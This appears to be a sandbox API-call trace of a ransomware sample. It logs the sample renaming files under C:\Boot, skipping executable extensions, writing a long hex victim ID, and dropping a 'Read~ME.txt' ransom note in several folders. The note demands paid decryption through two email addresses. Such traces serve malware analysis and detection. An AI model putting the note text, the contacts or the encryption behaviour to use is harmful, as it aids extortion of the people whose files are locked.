	[0061.828] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
	[0061.828] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
	[0061.828] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
	[0061.828] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
	[0061.828] GetLastError () returned 0x0
	[0061.828] SetLastError (dwErrCode=0x0) 
	[0061.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cb30 | out: hHeap=0x300000) returned 1
	[0061.829] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3a0e18
	[0061.829] ReadFile (in: hFile=0x110, lpBuffer=0x3a0e18, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3a0e18*, lpNumberOfBytesRead=0x25dfec0*=0x0, lpOverlapped=0x0) returned 1
	[0061.831] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0061.831] WriteFile (in: hFile=0x110, lpBuffer=0x3a0e18*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3a0e18*, lpNumberOfBytesWritten=0x25dfec0*=0x0, lpOverlapped=0x0) returned 1
	[0061.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0e18 | out: hHeap=0x300000) returned 1
	[0061.831] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0061.831] WriteFile (in: hFile=0x110, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0061.833] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0061.833] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0061.833] CloseHandle (hObject=0x110) returned 1
	[0061.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0061.895] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="\\\\?\\C:\\Boot\\BCD.LOG2.~~~~" (normalized: "c:\\boot\\bcd.log2.~~~~")) returned 1
	[0062.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.069] GetLastError () returned 0x0
	[0062.069] SetLastError (dwErrCode=0x0) 
	[0062.070] GetLastError () returned 0x0
	[0062.070] SetLastError (dwErrCode=0x0) 
	[0062.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0062.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0062.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0062.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b870 | out: hHeap=0x300000) returned 1
	[0062.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0062.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.070] RtlWakeConditionVariable () returned 0x365f70
	[0062.070] GetCurrentThreadId () returned 0x9f4
	[0062.070] GetCurrentThreadId () returned 0x9f4
	[0062.070] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.078] GetCurrentThreadId () returned 0x9f4
	[0062.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39da68
	[0062.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.078] lstrlenW (lpString=".scr") returned 4
	[0062.078] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.078] lstrlenW (lpString=".cmd") returned 4
	[0062.078] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.078] lstrlenW (lpString=".dll") returned 4
	[0062.078] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.078] lstrlenW (lpString=".bat") returned 4
	[0062.078] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.078] lstrlenW (lpString=".cpl") returned 4
	[0062.078] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.078] lstrlenW (lpString=".sys") returned 4
	[0062.078] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.078] lstrlenW (lpString=".msc") returned 4
	[0062.079] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.079] lstrlenW (lpString=".com") returned 4
	[0062.079] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.079] lstrlenW (lpString=".lnk") returned 4
	[0062.079] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.079] lstrlenW (lpString=".msp") returned 4
	[0062.079] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.079] lstrlenW (lpString=".pif") returned 4
	[0062.079] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.079] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.079] StrStrW (lpFirst="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.079] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39da68 | out: hHeap=0x300000) returned 1
	[0062.079] RtlWakeConditionVariable () returned 0x365f70
	[0062.079] GetCurrentThreadId () returned 0x9f4
	[0062.079] GetCurrentThreadId () returned 0x9f4
	[0062.080] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.229] GetCurrentThreadId () returned 0x9f4
	[0062.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.230] lstrlenW (lpString=".scr") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".scr") returned 0x0
	[0062.230] lstrlenW (lpString=".cmd") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".cmd") returned 0x0
	[0062.230] lstrlenW (lpString=".dll") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".dll") returned 0x0
	[0062.230] lstrlenW (lpString=".bat") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".bat") returned 0x0
	[0062.230] lstrlenW (lpString=".cpl") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".cpl") returned 0x0
	[0062.230] lstrlenW (lpString=".sys") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".sys") returned 0x0
	[0062.230] lstrlenW (lpString=".msc") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".msc") returned 0x0
	[0062.230] lstrlenW (lpString=".com") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".com") returned 0x0
	[0062.230] lstrlenW (lpString=".lnk") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".lnk") returned 0x0
	[0062.230] lstrlenW (lpString=".msp") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".msp") returned 0x0
	[0062.230] lstrlenW (lpString=".pif") returned 4
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch=".pif") returned 0x0
	[0062.230] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.230] StrStrW (lpFirst="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf", lpSrch="msp\r\n.pif") returned 0x0
	[0062.230] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.232] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.233] RtlWakeConditionVariable () returned 0x365f70
	[0062.233] GetCurrentThreadId () returned 0x9f4
	[0062.233] GetCurrentThreadId () returned 0x9f4
	[0062.233] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.244] GetCurrentThreadId () returned 0x9f4
	[0062.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.244] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\Read~ME.txt" (normalized: "c:\\boot\\fonts\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.247] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.247] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.249] CloseHandle (hObject=0x110) returned 1
	[0062.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.249] RtlWakeConditionVariable () returned 0x365f70
	[0062.249] GetCurrentThreadId () returned 0x9f4
	[0062.249] GetCurrentThreadId () returned 0x9f4
	[0062.249] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.267] GetCurrentThreadId () returned 0x9f4
	[0062.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.268] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\Read~ME.txt" (normalized: "c:\\boot\\hu-hu\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.268] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.268] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.270] CloseHandle (hObject=0x110) returned 1
	[0062.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.270] RtlWakeConditionVariable () returned 0x365f70
	[0062.270] GetCurrentThreadId () returned 0x9f4
	[0062.270] GetCurrentThreadId () returned 0x9f4
	[0062.270] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.290] GetCurrentThreadId () returned 0x9f4
	[0062.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.290] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.290] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\Read~ME.txt" (normalized: "c:\\boot\\ja-jp\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.291] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.291] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.292] CloseHandle (hObject=0x110) returned 1
	[0062.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.292] RtlWakeConditionVariable () returned 0x365f70
	[0062.292] GetCurrentThreadId () returned 0x9f4
	[0062.292] GetCurrentThreadId () returned 0x9f4
	[0062.292] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.306] GetCurrentThreadId () returned 0x9f4
	[0062.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.306] lstrlenW (lpString=".scr") returned 4
	[0062.306] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.306] lstrlenW (lpString=".cmd") returned 4
	[0062.306] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.306] lstrlenW (lpString=".dll") returned 4
	[0062.306] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.306] lstrlenW (lpString=".bat") returned 4
	[0062.306] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.306] lstrlenW (lpString=".cpl") returned 4
	[0062.306] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.306] lstrlenW (lpString=".sys") returned 4
	[0062.306] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.306] lstrlenW (lpString=".msc") returned 4
	[0062.306] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.306] lstrlenW (lpString=".com") returned 4
	[0062.306] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.306] lstrlenW (lpString=".lnk") returned 4
	[0062.307] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.307] lstrlenW (lpString=".msp") returned 4
	[0062.307] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.307] lstrlenW (lpString=".pif") returned 4
	[0062.307] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.307] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.307] StrStrW (lpFirst="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.307] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.308] RtlWakeConditionVariable () returned 0x365f70
	[0062.308] GetCurrentThreadId () returned 0x9f4
	[0062.308] GetCurrentThreadId () returned 0x9f4
	[0062.308] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.320] GetCurrentThreadId () returned 0x9f4
	[0062.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.321] lstrlenW (lpString=".scr") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.321] lstrlenW (lpString=".cmd") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.321] lstrlenW (lpString=".dll") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.321] lstrlenW (lpString=".bat") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.321] lstrlenW (lpString=".cpl") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.321] lstrlenW (lpString=".sys") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.321] lstrlenW (lpString=".msc") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.321] lstrlenW (lpString=".com") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.321] lstrlenW (lpString=".lnk") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.321] lstrlenW (lpString=".msp") returned 4
	[0062.321] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.322] lstrlenW (lpString=".pif") returned 4
	[0062.322] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.322] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.322] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.322] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.324] RtlWakeConditionVariable () returned 0x365f70
	[0062.324] GetCurrentThreadId () returned 0x9f4
	[0062.324] GetCurrentThreadId () returned 0x9f4
	[0062.324] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.335] GetCurrentThreadId () returned 0x9f4
	[0062.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.335] lstrlenW (lpString=".scr") returned 4
	[0062.335] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.335] lstrlenW (lpString=".cmd") returned 4
	[0062.335] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.335] lstrlenW (lpString=".dll") returned 4
	[0062.335] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.335] lstrlenW (lpString=".bat") returned 4
	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.336] lstrlenW (lpString=".cpl") returned 4
	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.336] lstrlenW (lpString=".sys") returned 4
	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.336] lstrlenW (lpString=".msc") returned 4
	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.336] lstrlenW (lpString=".com") returned 4
	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.336] lstrlenW (lpString=".lnk") returned 4
